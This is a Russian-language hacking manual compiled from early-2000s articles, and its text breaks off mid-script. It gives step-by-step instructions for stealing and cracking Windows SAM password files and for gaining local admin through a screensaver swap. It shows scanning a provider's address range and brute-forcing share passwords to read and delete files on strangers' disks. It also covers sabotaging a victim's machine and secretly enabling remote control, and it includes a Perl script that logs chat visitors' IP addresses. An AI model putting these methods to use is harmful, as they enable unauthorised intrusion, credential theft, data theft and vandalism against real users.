Я заведомо не затрагивал тему получения халявного инета, потому что тут очень много своих особенностей. Но один из возможных способов я все же описал - трояны. Вообще, этот способ практически универсальный и может использоваться везде.

Я так же надеюсь, что продвинутые челы тоже смогли найти для себя нечто интересное или новое. Покедова, надеюсь еще увидимся.

Дополнительная инфа :

www.cert.ru - хороший сервант по известным дырам. Радует, что он на русском, а огорчает редкость обновления и не все дыры описываются.

www.cert.org - то же самое, что и предыдущее, только на английском языке.

www.securityfocus.com - это я тебе уже рекомендовал, поэтому просто напоминаю.

www.void.ru -отличный сервант на русском языке. Можешь сделать его стартовой страницей.

Не верь глазам своим! :

Сейчас мы поговорим о том, как различные проги определяет семейство ОС установленной на серваке. Для этого есть несколько способов:

1. По реализации протокола TCP/IP. Разные корпорашки по разному реализуют стек протоколов в своих ОС. Программа просто анализирует ответы на запросы от сервера и делает вывод об установленной ОС. В основном этот вывод расплывчатый типа Windows или Linux. Точную версию таким образом сказать невозможно.

Допустим, что прога сказала, что на серваке установлен Linux, но какой именно дистрибутив тебе никто не скажет. А ведь дыры в разных дистрибутивах разные и поэтому такая инфа - это только половина необходимого тебе для взлома сервера.

2. По ответам разных сервисов. Допустим, что на сервере жертвы есть анонимный доступ по FTP. Тебе нужно всего лишь присоединиться к нему и посмотреть сообщение приглашения в систему. По умолчанию, в качестве приглашения используется надпись типа "Добро пожаловать на сервер FreeBSD4.0 версия FTP клиента Х.ХХХ". Если ты такое увидел, то можно и радоваться и плакать, потому что это может быть и правдой.

Если надпись приглашения отражает действительность, то админ - лох со стажем. Нормальный админ всегда изменяет приглашение по умолчанию. А вот хороший админ может написать и ложное сообщение. Например, на сервере с Windows 4.0 можно увидеть приглашение в Linux. В этом случае можно безуспешно потратить очень много времени в попытках сломать окна через дыры Linux. Поэтому не особо доверяй надписям и старайся перепроверить любыми другими способами.

3. Социальная инженерия. Если ты хочешь взломать сервант хостинговой компании, то можно отправить письмо админу с запросом об установленных у него серверах. В основном админы или служба поддержки не скрывают эту инфу, но бывают случаи и вранья. Возможно, что эта инфа будет лежать даже на главной странице сервера, но даже это следует проверить.

Чтобы тебя не надули, обязательно обращай внимания на используемые на сервере сервисы, например, в Linux врят ли будут крутиться страницы созданные по технологии ASP.

www.Download.hack :

В этой врезке я постараюсь дать тебе список всех программ, которые тебе понадобятся при тестировании системы на дырявость.

CyD NET Utils - всегда можно скачать с моего сайта www.cydsoft.com/vr-online. Я эту программу писал не для взлома а для тестирования локальных сетей на работоспособность и безопасность. Так что если ты админ, то желательно иметь эту прогу в своем арсенале. В CyD NET Utils присутствует удобный сканер портов, пингер, WhoIs и многое другое. Результат работы можно всегда можно сохранить файл или распечатать.

Shadow Scan (http://www.rsh.kiev.ua/) - отличная прога с большим количеством возможностей для тестирования системы на вшивость. Что-то говорит мне, что написана нашими братьями по разуму из ближней Украины.

NT Crack (http://archivedaru.hypermart.net/winnt_hacking/Ntcrack.zip) - прога проверки NT на вшивость. Если ты хочешь взломать оконный сервер, то эта прога должна быть в твоем арсенале. Ну а если хочешь защитить NT, то тем более.

NT Bugs (hhttp://archivedaru.hypermart.net/winnt_hacking/Ntbugs.zip) - достаточно приличного размера описание багов оконного сервера. Если ты владеешь буржуйским языком, то просто обязан иметь ее в своем арсенале.

LC3 (http://www.l0pht.com/l0phtcrack/dist/lc252install.zip) - самый знаменитый и крутейший подборщик паролей для NT.

Retina Network Security Scanner (http://www.eeye.com/) - хороший сканер безопасности. Вот не знаю я, и за что я в него такой влюбленный :)?

Короткий словарик :

Демон - серверная программа, которая работает в фоне и предназначена для выполнения каких-либо действий. Этот термин применяется в *nix средах. Там названия таких прог в основном отличаются тем, что в конце имени стоит буква "d".

Представим себе демон WEB сервера. Это должна быть прога, которая висит в памяти и ждет подключения на 80-й порт (это по умолчанию). Как только кто-то подсоединился, демон начинает принимать запросы и отвечать на них. Но демоны бывают не только сетевые, потому к сетевым, например, невозможно отнести демон печати.

Сервисы - это то же самое, что и демоны, только так называют те же проги в окошках.

Експлоит - прога, которая умеет пользоваться какой-нибудь уязвимостью сервака. Если он написан под *nix, то может поставляться в исходных кодах. В этом случае, перед использованием потребуеться компиляция.

Порт - Каждая сетевая программа при старте открывает для себя любой свободный порт. Есть и зарезервированные типа FTP это 21-й порт, HTTP это 80 порт и т. д. Теперь представим ситуацию, что на сервере запущено два сервиса: FTP и WEB. Это значит, что на сервере работает две программы, к которым можно коннектиться. Теперь ты хочешь присоединиться к FTP серверу и посылаешь запрос по адресу ХХХ.ХХХ.ХХХ.ХХХ и на порт 21. Сервер получает такой запрос и по номеру порта определяет, что твой запрос относиться именно к FTP серверу, а не WEB.

Так что сетевые порты - это что-то виртуальное, что увидеть невозможно. Если бы не было портов, то комп не смог бы определить для кого именно пришел твой запрос.

Троян - прога, которая незаметно сидит в системе жертвы и позволяет тебе управлять его компом.


Взлом сетей на базе Windows NT/

Взлом сетей на базе Windows NT/2000/XP

Данная статья будет полезна как новичкам, так и специалистам, так как написана, на мой взгляд, довольно простым языком и отражает все проблемные моменты, с которыми я столкнулся при исследовании проблемы, а так же показывает основные “тонкие места” в продукции компании Майкрософт. Возможно, что для некоторых эта статья новостью не будет, но для большинства, я надеюсь, она принесет пользу.

Речь в ней пройдет о методах получения пароля администратора в сетях, основанных на NT системах, таких, как Windows NT/2000/XP. Реально большинство компьютерных клубов, классов и вообще сетей работает на подобном софте, что понятно и вполне очевидно – остальные системы либо слишком ненадежны и плохо себя чувствуют в сетях (Windows 95/98/Me), либо слишком сложны и привередливы к настройке (*nix).

Итак, вы сидите перед компьютером в своем классе/клубе/работе. Скорее всего, вам на нем ничего делать нельзя, кроме того, что вам разрешил системный администратор: нельзя ставить софт, править реестр, получать доступ к сети и прочее, что делать бы хотелось ?. Прежде всего, вам нужно понять, какими правами наградил вас администратор:

Пуск => Настройка => Панель управления => Учетные записи пользователей. Если система, ругнувшись, спросила пароль – значит вам есть за что бороться, если нет и вы можете создавать/удалять/изменять пользователей на компьютере, то сохраняйте эту статью до более худших времен, когда более радивый администратор наградит вас меньшими привилегиями. Если же вы сидите под учетной записью Пользователь или Гость – читайте дальше. Вам необходим файл SAM (без расширения), находящийся здесь C:\WINDOWS\system32\config\ и хранящий в себе пароли от системы. Просто так считать этот файл вам не удастся – он заблокирован системным процессом lsass.exe, убить который невозможно. Чтобы получить его, необходимо выйти под DOS, загрузившись с дискеты от Windows 98 и скопировать его командой copy. Возможно, если система стоит на NTFS вам понадобится комплект утилит для работы с NTFS-разделами под DOS. Так же у вас есть возможность скопировать себе другой SAM файл, находящийся в папке C:\WINDOWS\repair\, но так как вы рискуете получить пароли столетней давности, так как здесь всего лишь backup файла паролей.
Теперь вам необходимо расшифровать его одной из программ дешифраторов. Я рекомендую LophtCrack, за его огромную скорость, большое количество возможностей, русский интерфейс и полностью интуитивно понятную настройку. Процесс дешифрации очень долог и зависит, в основном, от количества символов, которые вы задали в качестве возможных в пароле.

К примеру, перебор всех латинских букв и цифр в пароле, ограниченном семью символами займет у вас около шести часов на машине с Athlon 1700. Так же, начав расшифровку, вы можете изучить, какие пользователи присутствуют на машине. Особенное внимание обратите к строчке, содержащей имя пользователя Администратор. Его пароль вам и предстоит узнать. Учтите, что возможно, пароля администратора вы не получите. И это связано даже не с тем, что вы выбрали пароль недостаточной длины. Возможно, учетная запись Администратора на данном компьютере просто заблокирована. Это одновременно означает только одно – вход, а так же награждение вас правами осуществляется посредством идентификации на сервере (чаще всего этот компьютер является контроллером домена), а значит все имена пользователей и пароли находятся в SAM’е именно там, на контроллере домена, до которого вам скорее всего не добраться. Что делать? Получать локального администратора, то есть админа только на той машине, за которой вы сидите.

Сделать это довольно просто – существует крохотная утилита GetAd, позволяющая с вероятностью 70% получить cmd.exe запущенную с правами администратора. То есть далее остается только набрать compmgmt.msc, а затем добавить себя в админы на этой машине так, как будто вы сам админ. Другой, уже стопроцентный способ заключается в том, что бы использовать ошибку в наследовании прав процессом в системах в windows системах. Для этого нужно понимать этот процесс достаточно глубоко. Возьмем некое приложение, запущенное администратором. Этот процесс администраторский. И что очень важно, для нас – то, что любой процесс, запущенный администраторским процессом – тоже будет администраторским. Подробнее о принципе наследования прав процессом можно прочитать в книге “Windows 2000 изнутри” Ари Каплана. Теперь как это использовать: дело в том, что в Windows NT/2000 до Service Pack 3 присутствует такой баг – скринсэйвер запускается с правами администратора. Что это нам дает – берем cmd.exe, переименовываем его в logon.scr, и заменяем им стоящий по умолчанию. Догадываетесь, что произойдет? По прошествии минуты застоя мыши и клавы система запустит скринсэйвер, который на самом деле cmd.exe ;-).

Далее все так же – compmgmt.msc, добавление пользователя и перезагрузка с новым пользователем в админах ?. И что характерно – никаких паролей ?. Получение вышеописанными способами прав администратора дает вам ещё одну возможность. Если вы находитесь в системе под администратором, то вы можете получить хеш паролей минуя SAM файл. В названном выше LophtCrack есть такая функция – дамп пароля посредством метода pwdump2. То есть никакой возни с DOS и загрузочными дискетами.
Таким образом, вы сможете получить пользователя, являющегося администратором компьютера за которым вы сидите. Вы сможете править реестр, ставить программы - возможно это вам покажется достаточно и на этом можно будет остановиться. Ежели ваши желания простираются дальше этих ограничений и ваша цель – учетка администратора на контроллере домена, то идем дальше.

Два направления, которыми вам следует вплотную заняться это сниффинг и сканирование сервака на предмет багов. Для сниффинга я рекомендую программу Iris, как наиболее удобную. Единственное, что может вас остановить, это умелые руки админа. Не смотря на то, что в вышеназванном LophtCrack есть функция поиска пароля в снифф-пакетах, надыбанных ирисом, возможно ваши поиски окажутся безрезультатными – причиной тому может стать разработанный в 1999 году протокол Kerberos 5, отвечающий за шифровку и идентификацию компьютеров в сети.

Что касаемо взлома сервера посредством багов на нем – советовать что то бесполезно. Смотреть открытые порты, установленные на них сервисы, вообщем как всегда ?. Что касаемо случая, повлекшего мой интерес к этой теме, - она решалась именно так, путем взлома кривоватенького IIS на серваке, посредством банального XSpider’a.


Взлом удаленного компьютера через интернет
Конечно да!!! По многочисленным просьбам в письмах я решился написать эту статью лично, ввиду отсутствия квалифицированных ответов в Интернет (личные наблюдения). Постараю сь объяснить как это сделать так сказать "на пальцах", насколько у меня это получится - не знаю поскольку все это постигал сам... Прежде всего мой совет:

Установите на свой компьютер Windows 2k

Скачайте и установите на свой компьютер сканер Essential Net Tools v3.0

Скачайте и установите на свой компьютер HakTek v1.1

IMPORTANT!!! Не забывайте включить протокол Net BEUI и Доступ к файлам и принтерам сети Microsoft!! В Windows 2000 это делается только в свойствах соединения, а в 9х его еще нужно поставить в свойствах сети!

Ну, пожалуй для начала взлома удаленного компьютера этого вполне достаточно. Хотя нет, скачайте с сайта http://www.pysoft.com/ звонилку Advanced Dialer, ну этого должно хватить...

Теперь некоторые объяснения предыдущих действий:

  • Для чего нам Windows 2k? Да очень просто - по моим наблюдениям все сканеры лучше и корректнее работают под 2000, кроме этого когда вы нашли потенциальную жертву вам нужно изменить вашу рабочую группу на группу установленную на компьютере жертвы в Windows 2000 это делается так: правая кнопка мыши на >Мой компьютер> выбираем >Сетевая идентификация >Свойства, в нижней части там где написано "Является членом:" должна стоять галочка "Рабочей группы" вы пишите нужное вам имя рабочей группы, нажимаете "ОК" и вам высвечивается приветствие "Добро пожаловать в рабочую группу такую-то", вы нажимаете кнопочку "ОК" и вам предлагается перезагрузить компьютер для вступления в силу изменений, в этот момент вы должны не нажать кнопочку "ОК", как ранее, а просто закрыть окошко, теперь вам просто нужно нажать "ОК" на "Свойствах системы" и опять вас предупредят о том что нужно перезагрузить компьютер, на что вы должны категорично ответить "НЕТ". Поздравляю - изменения вступили - таки в силу без всяких там перезагрузок. В этом еще одна изюминка Windows 2000, поскольку в системах "для домохозяек", а именно 9х, Ме изменения вступают только после перезагрузки! А это все время: время на перезагрузку, на подключение к интернет - в результате вполне возможно, что когда вы подключитесь к интернет после перезагрузки жертвы уже там не будет. Экономьте время!!!
  • Зачем жен нам Essential NetTools v3.0? Как было сказано выше - это сканер (более подробное описание вы сможете найти на страничке скачивания), нам же достаточно знать что он позволяет сканировать диапазон IP-адресов на расшаренные ресурсы, и выборочный адрес на шары (расшаренные, шары - ресурсы доступные пользователям рабочей группы, а следовательно и вам!), а также, что тоже немаловажно!, подбирать пароли доступа (не думайте что это такая уж быстрая процедура, но, как правило, в большинстве случаев лица с расшаренными ресурсами - это либо ломаки, либо лица чересчур самоуверенные, либо секретарши на фирмах (кстати почему бы им всем не подумать о безопасности?) у которых пароль подбирается буквально с первой - второй попытки:-))) Кроме того, она позволяет подключать эти самые шары к вашему компьютеру без головной боли (но эта процедура итак не очень утомительная). Ну вроде по этому поводу - все....
  • HakTek v1.1 - в принципе особой необходимости в этой программе нет, но все-равно рекомендую скачать - мне больше всего нравится Finger Session. Вобщем - читайте описание на страничке скачивания.
  • Зачем нам Advanced Dialer? Вроде бы простая звонилка... Но у нее есть одна хорошая черта. Вы хотите иметь пароли пользователей вашего провайдера? Тогда ставьте Advanced Dialer ибо он при подключении показывает и ваш IP-адрес и, что самое главное, IP-адрес сервера провайдера к которому вы подключены (так же как и многие другие пользователи!!!;-))) - вот это главное!

Ну, предположим, что вы выполнили все рекомендации. Теперь начнем работу на примере кражи документов с диска С компьютера подключенного к тому же провайдеру что и вы:

  1. Подключаемся к интернет при помощи Advanced Dialer и смотрим IP-адрес сервера провайдера (как правило он никогда не изменяется, так что смело можете записывать его на бумажку), допустим 194.153.128.132 - реальный IP-адрес провайдера ZEOS
  2. Запускаем Essential NetTools v3.0 и выбираем NBScan, там вводим начальный IP-адрес для сканирования "Starting IP adress" (в нашем случае пусть это будет например 194.153.128.0) и конечный IP-адрес "Ending IP adress" (в нашем случае это пусть будет 194.153.128.255)
  3. После того как процесс сканирования окончен мы увидим примерно следующее:
NAME | WORKGROUP | RS | IP Adress | MAC Adress
Legioner | Legion666 | Yes | 194.153.128.15 | это нас не интересует
Vovan | Workgroup | No | 194.153.128.19 | это нас не интересует
Dmitriy | Venera | Yes | 194.153.128.21 | это нас не интересует
Sinelnikov | Claus | Yes | 194.153.128.32 | это нас не интересует
Kinder | Troja | Yes | 194.153.128.43 | это нас не интересует
Sky | Circus | Yes | 194.153.128.47 | это нас не интересует
Trishka | Killers | No | 194.153.128.64 | это нас не интересует
Judge | Dred | No | 194.153.128.69 | это нас не интересует

4. Мы видим имена, рабочие группы, RS - расшаренные ресурсы, IP-адреса, адреса МАК компьютеров с NetBios Sessions (то есть с открытым 139 - м портом) Кстати не забудьте включить у себя NetBios - иначе ничего не будет, также для личной безопасности сделайте все диски и принтеры локальными (защитите их от чтения и записи). Нам нужны только: рабочая группа, RS, IP-адреса. Если RS - No - об этом компьютере можно сразу забыть. Если же -Yes, то можно попробовать подключится к нему.

Для этого:

  • Включаем NAT
  • Вводим адрес IP - например 194.153.128.15 и нажимаем "SCAN"
  • Теперь немного подождем...
  • Что мы видим:
* Checking 194.153.128.47 ...
* Obtained NetBIOS name table:
SKY <00>
SKY <20>
CIRCUS <00>
SKY <03>
CIRCUS <1E>
DAN <03>
CIRCUS <1D>
..__MSBROWSE__. <01>
* Trying username "ADMINISTRATOR", password "": failed - начало подбора пароля
* Trying username "ADMINISTRATOR", password "ADMINISTRATOR": failed
* Trying username "ADMINISTRATOR", password "GUEST": failed
* Trying username "ADMINISTRATOR", password "ROOT": failed
* Trying username "ADMINISTRATOR", password "ADMIN": failed
* Trying username "ADMINISTRATOR", password "PASSWORD": failed
* Trying username "ADMINISTRATOR", password "TEMP": failed
* Trying username "ADMINISTRATOR", password "SHARE": failed
* Trying username "ADMINISTRATOR", password "WRITE": failed
* Trying username "ADMINISTRATOR", password "FULL": failed
* Trying username "ADMINISTRATOR", password "BOTH": failed
* Trying username "ADMINISTRATOR", password "READ": failed
* Trying username "ADMINISTRATOR", password "FILES": failed
* Trying username "ADMINISTRATOR", password "DEMO": failed
* Trying username "ADMINISTRATOR", password "TEST": failed
* Trying username "ADMINISTRATOR", password "ACCESS": failed
* Trying username "ADMINISTRATOR", password "USER": failed
* Trying username "ADMINISTRATOR", password "BACKUP": failed
* Trying username "ADMINISTRATOR", password "SYSTEM": failed
* Trying username "ADMINISTRATOR", password "SERVER": failed
* Trying username "ADMINISTRATOR", password "LOCAL": failed
* Trying username "GUEST", password "": failed
* Trying username "GUEST", password "ADMINISTRATOR": failed
* Trying username "GUEST", password "GUEST": succeeded - пароль успешно подобран
* Obtained share list: - список возможных доступных ресурсов
IPC$ Remote IPC
E$ Default share
D$ Default share
C
ADMIN$ Remote Admin
C$ Default share
* Obtained server information:
Server=[SKY] User=[] Workgroup=[SKYGROUP] Domain=[]
* Checking share E$: access denied - доступ запрещен
* Checking share D$: access denied - доступ запрещен
* Checking share C: read-write access - доступ разрешен для чтения-записи
* Checking share ADMIN$: access denied
* Checking share C$: access denied
* Finished checking 194.153.128.47

Ну вот мы и нашли подходящую жертву! Как видно из списка, мы можем подключиться к диску С (разрешен доступ для чтения и записи), то есть мы можем записывать жертве на диск, стирать с его диска, копировать с его диска!

Теперь нам нужно подключить удаленный компьютер. В этом нет ничего сложного. Для этого нам нужно изменить рабочую группу согласно вышеописанному способу. В Essential NetTools открыть NBScan и выделить потенциальную "жертву", в нашем случае это Sky с рабочей группой Circus и IP-адресом 194.153.128.47, нажать правую кнопку мышки и выбрать в контекстном меню "Open computer". В ответ откроется стандартное окно Windows где будет присутствовать диск "С". Наводим на этот самый диск "С" нажимаем правую кнопку мыши и в контекстном меню выбираем "Подключить сетевой диск", когда главный каталог будет считан мы можем начинать "лазить", а точнее сказать "ползать" по диску "С" удаленного компьютера с адресом 194.153.128.47, делать это можно при помощи стандартного "Проводника", Windows Commander и других программ. Дерзайте!


Мануал по хаку 2.0

  • Интро
  • Хакеры: Дьяволы или святые?
  • Хакреский сленг
      • Для Новичков
    1. Бесплатный Интернет
    2. Полный мануал по взлому
    3. Взлом ЮниксА
    4. Ломаем провайдера
    5. Исследование перед взломом
    6. Что можно сделать с IP адресом
    7. Прячем свой IP
    8. Сканирование портов
    9. Взлом удаленного компьютера через интернет
    10. Взлом мыла
    11. Что делать если ты внутри
    12. Эффективный способ впаривания троянов
    13. Охота за ICQ UIN
      Для Профи
    1. 50 способов обойти систему обнаружения атак
    2. Атка на DNS
    3. Взлом сетей на базе Windows NT
    4. Взлом через PHP-скрипт
    5. Переполнение буфера
    6. Тестирование web-приложений
      Приложения
  • Гостевые пароли провайдеров на доступ в Инет
  • Диапозоны IP-адресов
  • Порты троянских прог


Что делать если ты внутри

Что делать, когда ты внутри:

Байтики, нолики. Вот здесь немного подправляем, вот здесь немного добавляем и немного обрезаем. И вот они заветные два слова и один предлог: «ВЫ В СИСТЕМЕ». Теперь быстро определяемся, что делать. Может оставить где-нибудь надпись: «Свободу Кевину Митнику»? Но его уже освободили. А может всё-таки оставить? Нет, с такими приколами только на www.detskiy-sad.ru. А может удалить все файлы? За это можно и по шапке получить газетой. А если в газету кто-нибудь ломик завернёт?

Когда ты пробираешься через локалку на компьютер соседа, или начальника по работе, ты должен оставить достойный след своего присутствия. Проделав тяжёлый труд хака, нельзя опозорится детскими шалостями. Нужно стоящее доказательство твоего присутствия и я тебе помогу в этом нелёгком труде.

В большинстве случаев в локалке стоят компьютеры под 9x, поэтому все мои рекомендации будут исходить из этого.

Файлики, файлики, файлики …:

Первое, что я хочу тебе посоветовать, это создать кучу файлов и засунуть их на компьютер жертвы. Файлы могут быть пустыми, это не главное. Ты думаешь, что это примитивно? А если им дать интересные имена типа:

1. Хочешь иметь круглые глаза? Выпей три литра слабительного!!!

2. Хочешь узнать, кто такой ЛОХ? Сбегай за пивом, а я тебе расскажу!!!

Это только примеры. Ты и сам можешь пошевелить мозгами, возможно в них что-то ещё осталось кроме пива.

После этого засунь эти файлы (можно папки) на компьютер жертвы в папку c:\windows\Рабочий стол. Через секунду всё это проявятся на рабочем столе твоего друга или недруга, ну в общем ламера. Прикольно наблюдать за челом, у которого на экране появляются файлы (можно папки) с такими именами.

System outside:

Обидно, что на компьютере жертвы очень трудно получить доступ к реестру Win 9x. Не стоит расстраиваться, в этой системке ещё остались старые файлы system.ini и win.ini. Большой Билли навешал лапши, что эти файлы не используются системой и сохранились только для совместимости со старыми прогами. Армянское радио сообщает, что это лапша фирмы равиолли.

Заходи в папку Windows и находи там файл system.ini. Открой его. Перед тобой появится нечто подобное:

[boot]
oemfonts.fon=vgaoem.fon
system.drv=system.drv
drivers=mmsystem.dll power.drv
shell=Explorer.exe

Нас интересует последняя строка в моей вырезке. Она означает, какая прога будет выступать в качестве шела для окон. Если верить Билли, то изменение этого файла не повлияет на работу виндов. Проверяй. Изменяем эту строку на shell=notepad.exe. После перезагрузки, на компьютере жертвы появится пустые обои (без иконок и панели с кнопкой «Пуск») и запустится только notepad. Больше ничего запустить с такой системы нельзя. Ну как дядя Билли? Только что мы превратили машину WIntel в печатную машинку. Я думаю, любая жертва будет довольно твоей сообразительностью. А главное, что его комп никогда не зависнет :).

Косметический ремонт:

Мы немного побаловались, теперь надо приукрасить компьютер жертвы. Для этого можно воспользоваться уже всем известными методами. Можно изменить logo.sys (логотип при загрузке компьютера), logos.sys (логотип отключения питания) logow.sys (логотип завершения работы).

Можно залезть в директорию Web, которая валяется в папке Windows. Там находятся файлы, которые отвечают за дизайн проводника при путешествии по папкам. Особенно интересны файлы Mycomp.htt, recycle.htt и default.htt. С их внутренностями можно легко разобраться и без скальпеля. Кишки этих файлов выполнены в виде html команд. Обязательно подредактируй файл wvleft.bmp. Это любимое M$-небо, которое показывается во всех папках, где выбран режим «Отображать в стиле WEB». Корпорация до сих пор летает в небесах и пора их опустить на землю, а лучше в шахту к шахтёрам. Если ты этих файлов не нашёл, то попробуй стереть пыль с экрана монитора, потому что файлы скрытые.

Стиратель:

Помнется, был такой фильм, в котором снимался американский шпеньдик – Арнольд. Он очень любил всё стирать. Вот так и у тебя наверно чешутся руки стереть что-нибудь. Если я прав, то ты самый настоящий www.lamer.ru. Такие приколы прохляют только в старшей группе детского сада или в крайнем случае у пионеров начальных классов. Моя 5-и месячная дочь и то больее прикольные вещи выкалывает, а жена потом эти вещи стирает :). Только не кнопкой Delete, а ручками в стиральной машине:).

Если хочешь действительно позабавиться, то файлы нужно не удалять, а переименовывать. Например, ты можешь переименовать tetris.exe в word.exe, а word.exe в tetris.exe. С первого взгляда ламер будет мучить иконки и материть линки. Возможно, через неделю до него дойдёт, что произошло. Но за это время ты получишь порцию смеха, как от просмотра заседания государственной думы.

Вторым этапом можешь зайти в папку «Мои документы» (ламеры там хранят свои записи) и переименовать все файлы в 1.doc, 2.doc, 3.doc и так до посинения. Немного примитивно, но интересней чем удалять инфу.

Секретные материалы:

Если ты смог добраться на пару секунд к клаве компьютера жертвы, то я тебе советую сделать следующее:

1. Войти в «Панель управления».

2. Щёлкнуть по пимпе «Пароли».

3. Войти на закладку «Удалённое управление».

4. Здесь выделяем «Разрешить удалённое управление этим сервером» (с каких это пор Win 9х – сервер?).

5. Теперь нужно только задать пароль и нажать «ОК».

Зачем это нужно. Теперь ты сможешь по локалке получить полный доступ к этому компу. Надо только ввести пароль. Многочисленные наблюдения показали, что после моих приколов ламеры первым делом проверяют доступность дисков и закрывают их. А про «удалённое управление этим сервером» забывают.


Интро

Мануал по Хаку 1.0 Alfa

ВСЯ ИНФОРМАЦИЯ, ИЗЛОЖЕННАЯ ЗДЕСЬ, МОЖЕТ ИСПОЛЬЗОВАТЬСЯ КАК ДЛЯ ВЗЛОМА, ТАК И ДЛЯ ЗАЩИТЫ, ПОЭТОМУ 10 РАЗ ПОДУМАЙТЕ, ПРЕЖДЕ ЧЕМ ПРИМЕНЯТЬ ДАННЫЙ МАТЕРИАЛ НА ПРАКТИКЕ. АВТОР НЕ НИСЕТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ИСПОЛЬЗОВАНИЕ ЭТОГО МАТЕРИАЛА

Данный справочник будет полезен как для начинающих так и для опытных(гы-гы) "Хакеров". В нем можно найти некоторую инфу которая касаестя хаку МастДая (она же M$ Windows), взлому HTTP серверов, а также некоторую другую инфу. И напоследок я выложил сюды порты троянских прог, диапозоны IP адресов провайдеров и полный эксклюзив: Гостевые пароли некоторых Московских и Питерских провов.

Вся инфа собрана с разных уголков инета, и соответственно все права принадлежат их авторам если у кого будут предложения или замечания все мылить на мыло

Если у кого есть предложения в плане улучшения дизайна или если хотите поделиться интересными статьями, пишите, мыло внизу.

from respect, Nix0r.

ЗЫ В мануале есть несколько готовых примеров,скриптов, просьба использовать их только в образовательных целях.

rassylki_nixor@rambler.ru, http://www.haxor.fatal.ru


trojan_inside

Что можно сделать с IP адресом

Что можно сделать с ип-адресом Как известно, Internet основана на семействе протоколов tcp/ip, определяющих, каким образом осуществляется взаимодействие между подключенными к сети компьютерами. Идентификация этих компьютеров осуществляется с помощью так называемых IP-адресов, каждый из которых представляет собой уникальный 32-битный идентификатор, обычно записываемый в виде четырех десятичных чисел, например, 192.168.0.1. И с точки зрения адресации сервер, обрабатывающий ежесекундно тысячи запросов практически ничем не отличается от вашего компьютера, подключаемого к сети по dial-up. Единственная разница домашний пользователь, как правило, получает так называемый динамический ip-адрес, меняющийся от подключения к подключению. В то время как адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать свой адрес на каждом углу. Более того, обнародование ip-адреса может привести к весьма серьезным последствиям. Что можно сделать с человеком, зная его ip-адрес? Ну, например, если на его машине с Windows'95 живет NetBIOS over IP, и разделены для доступа по сети, да еще и без паролей, некоторые диски, то довольно много :) (для заинтересовавшихся - помочь здесь могут nbtstat, lmhosts и net use). Правда это не слишком часто встречается у dial-up пользователей. Другой пример - в прошлом году были найдены дыры в IE и NN, позволяющие получить доступ к файлам клиента. Дырки те, правда, уже прикрыли, но кто знает, сколько их еще осталось. До сих пор пользуются популярностью в определенных кругах программы, объединяемые общим названием (восходящего к первой программе этого класса - Winnuke), которые осуществляют атаки типа Denial of Service, приводящие к зависанию или отключению от сети атакуемого компьютера. Нежно любимая миллионами пользователей ICQ (http://www.icq.com) тоже оказалась не без греха. На странице Fyodor's Exploit world (http://www.dhp.com/~fyodor/sploits.html) помимо прочего приведена информация о слабостях ICQ-шного протокола (http://www.dhp.com/~fyodor/sploits/icq.spoof.overflow.seq.html), которые уже позволили создать многочисленные программы, делающие жизнь пользователя ICQ не слишком пресной. Так, например, на странице ICQ Snoofer Team (http://const.ricor.ru/~icq/) предлагается опробовать программу, позволяющую слать сообщения по ICQ с чужого UIN. Snoofer существует в двух вариантах - в виде скрипта, доступного со страницы, и в виде программы, которую обещают рассылать по почте. Для его использования достаточно знать ip-адрес адресата, номер порта, на котором висит ICQ, и UIN отправителя. Инструкция прилагается. Впрочем, все эти веселые программы пригодны в основном для деструктивной деятельности, особого смысла, в которой я не вижу (кстати, запущенное на нашем сервере голосование по поводу "нюков" показало, что большинство посетителей со мной солидарно). Посмотрим, какие действия можно предпринять для определения и скрытия ip-адреса. Абсолютных рецептов, конечно, не существует, можно говорить лишь о наиболее распространенных случаях. Вообще говоря, ваш IP-адрес может засветиться в огромном количестве мест. Другое дело - как его потом оттуда вытащить. Скажем, ваш любимый броузер при заходе на любую страницу сообщает о себе достаточно много информации. В качестве простой демонстрации приведу скрипт на Perl'е, выводящий основную информацию о посетителе страницы: Листинг 1. showuser.pl #!/usr/bin/perl print ("Content-type: text/html\n\n"); @ee=( "CHARSET", "HTTP_USER_AGENT", "HTTP_REFERER", "REMOTE_ADDR", "REMOTE_HOST" ); foreach $e(@ee) { print "$e: $ENV{$e} \n"; } Вообще-то это самый безобидный случай обнародования ip-адреса (разве что если допустить злой умысел веб-мастера, установившего скрипт, атакующий посетителя, но вероятность целенаправленной атаки ничтожно мала). IP-адрес отправителя можно вытащить из заголовка полученной электронной почты (Скорее всего, он будет лежать в последнем поле Received:, в отличие от поля From: его подделать чуть сложнее). Если у вас динамически выделяемый адрес, то подобная ситуация не слишком опасна. Хуже, если адрес постоянный, что, правда, встречается, но реже. Самыми опасными с точки зрения обнародования ip-адреса оказываются всевозможные системы для интерактивного общения - IRC (командой /whois), InternetPhone, ICQ и т.д. Справедливости ради надо заметить, что некоторые из них пытаются прикрыть адрес пользователя (скажем, в MS Comic Chat показывается только часть адреса, в ICQ'98 появилась возможность скрытия своего адреса, не слишком правда хорошо работающая при общении со старыми версиями), но в большинстве систем адрес лежит совершенно открыто. Что же касается html-чатов, здесь все зависит от желания разработчика, принципиальная возможность показа ip-адреса существует, как это было продемонстрировано чуть выше. Идея следующая: если в чате разрешен ввод тегов html, никто не помешает вставить в свое сообщение что-то типа В итоге все присутствующие в чате (даже не зарегистрировавшиеся) будут, сами того не ведая, вызывать скрипт sniffer.cgi. Ну а остальное уже дело техники, реализация подобного скрипта на Perl'е, ведущего лог всех обращений, займет несколько строчек. Демонстрационный вариант этого скрипта доступен на www.hackzone.ru/cgi-bin/sniffer.cgi Способ применения очень прост - вы вставляете в свое сообщение текст, где id - идентификатор канала (помогает не запутаться при использовании скрипта на разных чатах разными людьми). Если этот чат поддерживает вставку html-тегов, то скорее всего вы увидите анимированный логотип HackZone. Все, что теперь осталось - просмотреть лог (http://www.hackzone.ru/files/snifflog.txt), в который пишется дата обращения к скрипту, ip-адрес и идентификатор id. Поскольку речь идет о демонстрации, в логе хранятся только 30 последних записей. Листинг 2. sniffer.pl #!/usr/bin/perl $log = "/local/path/on/your/server/snifflog.txt"; $now_string = localtime; @thetime = split(/ +/,$now_string); @theclock = split(/:/,$thetime[3]); $ampm = 'am'; if ($theclock[0] > 11) { $ampm = 'pm'; } if ($theclock[0] == 0) { $theclock[0] = 12; } if ($theclock[0] > 12) { $theclock[0] -= 12; } else { $theclock[0] += 0; } $lnum=$ENV{'QUERY_STRING'}; open (DB, "$log") || die "Can't Open $log: $!\n"; 